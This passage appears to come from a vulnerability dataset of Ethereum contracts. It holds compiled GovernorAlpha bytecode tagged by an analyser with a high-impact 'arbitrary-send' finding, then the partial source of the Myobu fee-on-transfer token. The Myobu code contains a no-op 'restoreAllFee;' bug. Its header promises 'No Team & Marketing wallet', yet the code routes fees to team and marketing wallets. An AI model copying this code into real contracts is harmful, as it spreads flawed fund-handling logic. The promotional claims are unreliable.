9959493929190612764565b600060405180830381600087803b158015610cd357600080fd5b505af1158015610ce7573d6000803e3d6000fd5b505060019092019150610bfd9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d2791906127f5565b60405180910390a1505050565b6002546001600160a01b031681565b60408051808201909152601e81527f44726f7073204e4654204c6f616e7320476f7665726e6f7220416c706861000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fabe144f89bf8ca7697ea18f94ae30b0d013ed66d28110946003e5f4930e8be52610dc4611bb9565b30604051602001610dd894939291906127fe565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e2793929190612822565b60405160208183030381529060405280519060200120905060008282604051602001610e54929190612633565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e91949392919061283a565b6020604051602081039080840390855afa158015610eb3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ee65760405162461bcd60e51b81526004016105e190612deb565b610ef1818a8a61199c565b505050505050505050565b6002546001600160a01b03163314610f265760405162461bcd60e51b81526004016105e190612f8c565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f675760405162461bcd60e51b81526004016105e190612b3c565b600080546040516001600160a01b0390911691633a66f90191839190610f9190879060200161264e565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610fc0949392919061267b565b602060405180830381600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612347565b6969e10de76676d080000090565b6002546001600160a01b0316331461104a5760405162461bcd60e51b81526004016105e19061287f565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561108b57600080fd5b505af115801561109f573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b60006110c4611012565b600180546001600160a01b03169063782d6fe19033906110e5904390611b91565b6040518363ffffffff1660e01b8152600401611102929190612662565b60206040518083038186803b15801561111a57600080fd5b505afa15801561112e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611152919061249b565b6001600160601b0316116111785760405162461bcd60e51b81526004016105e190612d8e565b8451865114801561118a575083518651145b8015611197575082518651145b6111b35760405162461bcd60e51b81526004016105e190612c1f565b85516111d15760405162461bcd60e51b81526004016105e190612d42565b6111d9610f38565b865111156111f95760405162461bcd60e51b81526004016105e190612bac565b33600090815260056020526040902054801561127657600061121a82610941565b9050600181600781111561122a57fe5b14156112485760405162461bcd60e51b81526004016105e190612e3a565b600081600781111561125657fe5b14156112745760405162461bcd60e51b81526004016105e190612ab9565b505b600061128443610aab61093c565b9050600061129482610aab610524565b60038054600101905590506112a7611d1c565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020155606082015181600301908051906020019061138a929190611d91565b50608082015180516113a6916004840191602090910190611df6565b5060a082015180516113c2916005840191602090910190611e3d565b5060c082015180516113de916006840191602090910190611e96565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114c499989796959493929190613010565b60405180910390a1519998505050505050505050565b60046114e582610941565b60078111156114f057fe5b1461150d5760405162461bcd60e51b81526004016105e1906128dc565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115629442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a7357600080fd5b905060005b600383015481101561170a5761170283600301828154811061158557fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106115ad57fe5b90600052602060002001548560050184815481106115c757fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116555780601f1061162a57610100808354040283529160200191611655565b820191906000526020600020905b81548152906001019060200180831161163857829003601f168201915b505050505086600601858154811061166957fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116f75780601f106116cc576101008083540402835291602001916116f7565b820191906000526020600020905b8154815290600101906020018083116116da57829003601f168201915b505050505086611bbd565b600101611567565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d2790859084906130f4565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b611770611eef565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056117e282610941565b60078111156117ed57fe5b1461180a5760405162461bcd60e51b81526004016105e190612946565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611960576000546004830180546001600160a01b0390921691630825f38f91908490811061185d57fe5b906000526020600020015484600301848154811061187757fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061189f57fe5b90600052602060002001548660050186815481106118b957fe5b906000526020600020018760060187815481106118d257fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611901959493929190612764565b6000604051808303818588803b15801561191a57600080fd5b505af115801561192e573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052611957919081019061235f565b5060010161182b565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161199091906127f5565b60405180910390a15050565b60016119a783610941565b60078111156119b257fe5b146119cf5760405162461bcd60e51b81526004016105e190612f13565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611a185760405162461bcd60e51b81526004016105e190612a6c565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a4e918a91600401612662565b60206040518083038186803b158015611a6657600080fd5b505afa158015611a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9e919061249b565b90508315611ac757611abd8360090154826001600160601b0316611b65565b6009840155611ae4565b611ade83600a0154826001600160601b0316611b65565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b559088908890889086906126e7565b60405180910390a1505050505050565b600082820183811015611b8a5760405162461bcd60e51b81526004016105e190612bf4565b9392505050565b600082821115611bb35760405162461bcd60e51b81526004016105e190612f5d565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611beb9088908890889088908890602001612718565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611c1d91906127f5565b60206040518083038186803b158015611c3557600080fd5b505afa158015611c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6d919061232b565b15611c8a5760405162461bcd60e51b81526004016105e190612cd8565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611cc29088908890889088908890600401612718565b602060405180830381600087803b158015611cdc57600080fd5b505af1158015611cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d149190612347565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611de6579160200282015b82811115611de657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611db1565b50611df2929150611f0f565b5090565b828054828255906000526020600020908101928215611e31579160200282015b82811115611e31578251825591602001919060010190611e16565b50611df2929150611f2e565b828054828255906000526020600020908101928215611e8a579160200282015b82811115611e8a5782518051611e7a918491602090910190611f43565b5091602001919060010190611e5d565b50611df2929150611fb0565b828054828255906000526020600020908101928215611ee3579160200282015b82811115611ee35782518051611ed3918491602090910190611f43565b5091602001919060010190611eb6565b50611df2929150611fcd565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611df25780546001600160a01b0319168155600101611f10565b5b80821115611df25760008155600101611f2f565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f8457805160ff1916838001178555611e31565b82800160010185558215611e315791820182811115611e31578251825591602001919060010190611e16565b80821115611df2576000611fc48282611fea565b50600101611fb0565b80821115611df2576000611fe18282611fea565b50600101611fcd565b50805460018160011615610100020316600290046000825580601f10612010575061202e565b601f01602090049060005260206000209081019061202e9190611f2e565b50565b80356001600160a01b03811681146117d157600080fd5b600082601f830112612058578081fd5b813561206b61206682613129565b613102565b81815291506020808301908481018184028601820187101561208c57600080fd5b60005b848110156120b3576120a18883612031565b8452928201929082019060010161208f565b505050505092915050565b600082601f8301126120ce578081fd5b81356120dc61206682613129565b818152915060208083019084810160005b848110156120b357612104888484358a01016121cc565b845292820192908201906001016120ed565b600082601f830112612126578081fd5b813561213461206682613129565b818152915060208083019084810160005b848110156120b35761215c888484358a01016121cc565b84529282019290820190600101612145565b600082601f83011261217e578081fd5b813561218c61206682613129565b8181529150602080830190848101818402860182018710156121ad57600080fd5b60005b848110156120b3578135845292820192908201906001016121b0565b600082601f8301126121dc578081fd5b81356121ea61206682613149565b915080825283602082850101111561220157600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561222b578081fd5b611b8a8383612031565b60008060408385031215612247578081fd5b6122518484612031565b946020939093013593505050565b600080600080600060a08688031215612276578081fd5b853567ffffffffffffffff8082111561228d578283fd5b61229989838a01612048565b965060208801359150808211156122ae578283fd5b6122ba89838a0161216e565b955060408801359150808211156122cf578283fd5b6122db89838a01612116565b945060608801359150808211156122f0578283fd5b6122fc89838a016120be565b93506080880135915080821115612311578283fd5b5061231e888289016121cc565b9150509295509295909350565b60006020828403121561233c578081fd5b8151611b8a816131a5565b600060208284031215612358578081fd5b5051919050565b600060208284031215612370578081fd5b815167ffffffffffffffff811115612386578182fd5b8201601f81018413612396578182fd5b80516123a461206682613149565b8181528560208385010111156123b8578384fd5b6123c9826020830160208601613179565b95945050505050565b6000602082840312156123e3578081fd5b5035919050565b600080604083850312156123fc578182fd5b8235915061240d8460208501612031565b90509250929050565b60008060408385031215612428578182fd5b82359150602083013561243a816131a5565b809150509250929050565b600080600080600060a0868803121561245c578283fd5b85359450602086013561246e816131a5565b9350604086013560ff81168114612483578384fd5b94979396509394606081013594506080013592915050565b6000602082840312156124ac578081fd5b81516001600160601b0381168114611b8a578182fd5b6000815180845260208085019450808401835b838110156124fa5781516001600160a01b0316875295820195908201906001016124d5565b509495945050505050565b6000815180845260208085019450848183028601828601855b85811015612548578383038952612536838351612584565b9885019892509084019060010161251e565b5090979650505050505050565b6000815180845260208085019450808401835b838110156124fa57815187529582019590820190600101612568565b6000815180845261259c816020860160208601613179565b601f01601f19169290920160200192915050565b600081546001808216600081146125ce57600181146125ec5761262a565b60028304607f16865260ff198316602087015260408601935061262a565b600283048087526125fc8661316d565b60005b828110156126205781546020828b01015284820191506020810190506125ff565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e060608301526126d660e0830185612584565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261273f60a0830186612584565b82810360608401526127518186612584565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a0604083015261278b60a08301866125b0565b828103606084015261275181866125b0565b6000608082526127b060808301876124c2565b82810360208401526127c28187612555565b905082810360408401526127d68186612505565b905082810360608401526127ea8185612505565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b602081016008831061286657fe5b91905290565b600060208252611b8a6020830184612584565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b03891660208201526101206040820181905260009061303b8382018b6124c2565b9050828103606084015261304f818a612555565b905082810360808401526130638189612505565b905082810360a08401526130778188612505565b90508560c08401528460e08401528281036101008401526130988185612584565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561312157600080fd5b604052919050565b600067ffffffffffffffff82111561313f578081fd5b5060209081020190565b600067ffffffffffffffff82111561315f578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b8381101561319457818101518382015260200161317c565b8381111561109f5750506000910152565b801515811461202e57600080fdfea2646970667358221220d17091a9c217fda73c9a3d343f7e0c76e0001cf128811e749fca9a18564019ed64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,183 |
0x75d12e4f91df721fafcae4c6cd1d5280381370ac | /**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
/*
https://t.me/MyobuOfficial
https://myobu.io
https://twitter.com/MyobuOfficial
https://www.reddit.com/r/Myobu/
Myōbu are celestial fox spirits with white fur and full, fluffy tails reminiscent of ripe grain. They are holy creatures, and bring happiness and blessings to those around them.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
..` `..
/dNdhmNy. .yNmhdMd/
yMMdhhhNMN- -NMNhhhdMMy
oMMmhyhhyhMN- -NMhyhhyhmMMs
/MMNhs/hhh++NM+ +MN++hhh/shNMM/
.NMNhy`:hyyh:-mMy` `yMm::hyyh:`yhNMN.
`mMMdh. -hyohy..yNh.`............`.yNy..yhoyh- .hdMMm`
hMMdh: .hyosho...-:--------------:-...ohsoyh. :hdMMh
oMMmh+ .hyooyh/...-::---------:::-.../hyooyh. +hmMMo
/MMNhs `hyoooyh-...://+++oo+++//:...-hyoooyh` shNMM/
.NMNhy` hhoooshysyhhhhhhhhhhhhhhhhysyhsooohh `yhNMN-
`mMMdh. yhsyhyso+::-.```....```.--:/osyhyshy .hdMMm`
yMMmh/ -so/-` .. `-/os- /hmMMh
/MMyhy .` `` `. shyMM/
mN/+h/ /h+/Nm
:N:.sh. .hs.:N/
s-./yh` `hy/.-s
.`:/yh` `hy/:`-
``-//yh- .hy//-``
``://oh+ ` ` +ho//:``
``.://+yy` `+` `+` `yh+//:.``
``-///+oho /y: :y/ ohs+///-``
``:////+sh/ `` `yhs- -shy` `` /hs+////:``
``:////++sh/ ```:syhs- -shys:``` /hs++////:``
``://///++sho` `.-/+o/. ./o+/-.` `+hs++/////:``
``://///+++oyy- ``..--. .--..`` -yyo+++/////:``
``-/////+++++shs. ``... ...`` .ohs+++++/////-``
``/////+++++++shs- ..` `.. -shs+++++++/////``
``-/////++++++++oys- ..` `.. -syo++++++++/////-``
``:////++++:-....+yy: .. .. :yy+....-:++++////:``
`.////+++:-......./yy: .. .. :yy/.......-:+++////.`
`.////++ooo+/-...../yy/` .` `. `/yy/.....-/+ooo++////.`
`.////+++oooos+/:...:sy/` . . `/ys:...:/+soooo+++////.`
`.:////+++++ooooso/:.:sh+` . . `+hs:.:/osoooo+++++////:.`
`-//////++++++ooooso++yh+....+hy++osoooo++++++//////-`
`.:///////+++++++oooossyhoohyssoooo++++++////////:.`
.:/+++++++++++++++ooosyysooo++++++++++++++//:.
`-/+++++++++++++++oooooo+++++++++++++++/-`
.-/++++++++++++++++++++++++++++++/-.
`.-//++++++++++++++++++++//-.`
`..-::://////:::-..`
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Myobu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Myōbu";
string private constant _symbol = "MYOBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
